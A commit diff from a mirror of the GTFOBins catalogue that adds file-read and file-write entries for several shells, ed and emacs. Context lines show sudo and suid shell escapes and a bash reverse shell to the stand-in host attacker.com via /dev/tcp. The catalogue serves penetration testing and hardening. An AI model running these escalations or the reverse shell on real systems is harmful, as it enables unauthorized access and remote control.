mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add read/write for ash, bash, csh, dash, ed, and emacs
This commit is contained in:
parent
2cfa11d5f8
commit
66b617c955
@ -6,4 +6,8 @@ functions:
|
|||||||
- code: sudo ash
|
- code: sudo ash
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./ash
|
- code: ./ash
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
export LFILE=file_to_write
|
||||||
|
ash -c 'echo data > $LFILE'
|
||||||
---
|
---
|
||||||
|
@ -40,4 +40,13 @@ functions:
|
|||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
||||||
|
file-read:
|
||||||
|
- description: It trims trailing newlines.
|
||||||
|
code: |
|
||||||
|
export LFILE=file_to_read
|
||||||
|
bash -c 'echo "$(<$LFILE)"'
|
||||||
|
- description: It trims trailing newlines.
|
||||||
|
code: |
|
||||||
|
export LFILE=file_to_read
|
||||||
|
bash -c $'read -d \x04 a < "$LFILE"; echo "$a"'
|
||||||
---
|
---
|
||||||
|
@ -6,4 +6,8 @@ functions:
|
|||||||
- code: sudo csh
|
- code: sudo csh
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./csh -b
|
- code: ./csh -b
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
export LFILE=file_to_write
|
||||||
|
ash -c 'echo data > $LFILE'
|
||||||
---
|
---
|
||||||
|
@ -6,4 +6,8 @@ functions:
|
|||||||
- code: sudo dash
|
- code: sudo dash
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./dash -p
|
- code: ./dash -p
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
export LFILE=file_to_write
|
||||||
|
ash -c 'echo data > $LFILE'
|
||||||
---
|
---
|
||||||
|
@ -12,4 +12,11 @@ functions:
|
|||||||
- code: |-
|
- code: |-
|
||||||
./ed
|
./ed
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
ed file_to_read
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
ed file_to_write
|
||||||
|
w
|
||||||
---
|
---
|
||||||
|
@ -6,4 +6,11 @@ functions:
|
|||||||
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
|
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
|
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
emacs file_to_read
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
emacs file_to_write
|
||||||
|
C-x C-s
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user